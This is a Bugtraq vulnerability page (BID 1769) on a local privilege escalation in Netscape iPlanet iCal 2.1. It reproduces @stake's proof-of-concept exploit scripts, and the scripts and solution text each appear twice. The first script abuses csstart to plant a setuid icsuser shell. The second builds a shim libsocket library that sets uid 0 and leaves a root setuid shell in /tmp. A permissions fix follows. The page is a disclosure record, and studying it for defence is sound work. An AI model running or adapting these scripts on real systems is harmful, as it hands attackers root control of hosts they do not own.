Netscape iPlanet iCal 'csstart' Vulnerability
BID:1769
Info
Netscape iPlanet iCal 'csstart' Vulnerability
| Bugtraq ID: | 1769 |
| Class: | Environment Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Oct 10 2000 12:00AM |
| Updated: | Oct 10 2000 12:00AM |
| Credit: | This vulnerability was discovered by @stake, Inc. and posted to the Bugtraq mailing list on Mon, 9 Oct 2000. |
| Vulnerable: |
Netscape iCal 2.1 Patch2 |
| Not Vulnerable: | |
Discussion
Exploit / POC
Netscape iPlanet iCal 'csstart' Vulnerability
The following exploit information has been taken from the @ Stake advisory on this issue. The advisory itself is attached in full in the 'Credit' section of this vulnerability.
Proof of Concept Tools:
There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.
[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`
cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO
chmod 755 ./cshttpd
echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null
sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]
[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`
#######
#Create the shim library..
cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE
#####
#create the shell script we'll be executing as root..
cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot
echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]
For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
The following exploit information has been taken from the @ Stake advisory on this issue. The advisory itself is attached in full in the 'Credit' section of this vulnerability.
Proof of Concept Tools:
There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.
[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`
cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO
chmod 755 ./cshttpd
echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null
sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]
[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell.
#
# [email protected]
#
INSTDIR=`cat /etc/iplncal.conf`
#######
#Create the shim library..
cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE
#####
#create the shell script we'll be executing as root..
cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot
echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]
For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
Solution / Fix
Netscape iPlanet iCal 'csstart' Vulnerability
Solution:
In order to address this vulnerability users should change the perissions of the /opt/SUNWicsrv/cal/bin/ directory to be owned and writeable only by root. The iPlanet Calendar Server 5.0 which is scheduled for future release (it is not yet released as of October 10, 2000) does not contain this vulnerability.
Solution:
In order to address this vulnerability users should change the perissions of the /opt/SUNWicsrv/cal/bin/ directory to be owned and writeable only by root. The iPlanet Calendar Server 5.0 which is scheduled for future release (it is not yet released as of October 10, 2000) does not contain this vulnerability.
References
Netscape iPlanet iCal 'csstart' Vulnerability
References:
References:
- @ Stake Homepage (@stake)
- Netscape Security (Netscape)